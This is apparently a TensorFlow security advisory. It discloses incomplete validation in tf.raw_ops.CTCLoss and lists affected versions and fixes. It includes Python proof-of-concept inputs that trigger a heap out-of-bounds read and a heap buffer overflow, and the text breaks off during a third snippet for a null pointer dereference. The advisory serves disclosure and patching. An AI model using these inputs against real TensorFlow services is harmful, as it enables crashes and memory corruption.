Affected: tensorflow

TensorFlow is an end-to-end open source platform for machine learning. Incomplete validation in `tf.raw_ops.CTCLoss` allows an attacker to trigger an OOB read from heap. The fix will be included in TensorFlow 2.5.0. We will also cherrypick these commits on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.

Affected: PyPI: tensorflow, PyPI: tensorflow-cpu, PyPI: tensorflow-gpu

### Impact Incomplete validation in `tf.raw_ops.CTCLoss` allows an attacker to trigger an OOB read from heap:

```python import tensorflow as tf

inputs = tf.constant([], shape=[10, 16, 0], dtype=tf.float32) labels_indices = tf.constant([], shape=[8, 0], dtype=tf.int64) labels_values = tf.constant([-100] * 8, shape=[8], dtype=tf.int32) sequence_length = tf.constant([-100] * 16, shape=[16], dtype=tf.int32) tf.raw_ops.CTCLoss(inputs=inputs, labels_indices=labels_indices, labels_values=labels_values, sequence_length=sequence_length, preprocess_collapse_repeated=True, ctc_merge_repeated=False, ignore_longer_outputs_than_inputs=True) ``` An attacker can also trigger a heap buffer overflow:

```python import tensorflow as tf

inputs = tf.constant([], shape=[7, 2, 0], dtype=tf.float32) labels_indices = tf.constant([-100, -100], shape=[2, 1], dtype=tf.int64) labels_values = tf.constant([-100, -100], shape=[2], dtype=tf.int32) sequence_length = tf.constant([-100, -100], shape=[2], dtype=tf.int32)

tf.raw_ops.CTCLoss(inputs=inputs, labels_indices=labels_indices, labels_values=labels_values, sequence_length=sequence_length, preprocess_collapse_repeated=False, ctc_merge_repeated=False, ignore_longer_outputs_than_inputs=False) ```

Finally, an attacker can trigger a null pointer dereference:

```python import tensorflow as tf

inputs = tf.constant([], shape=[0,…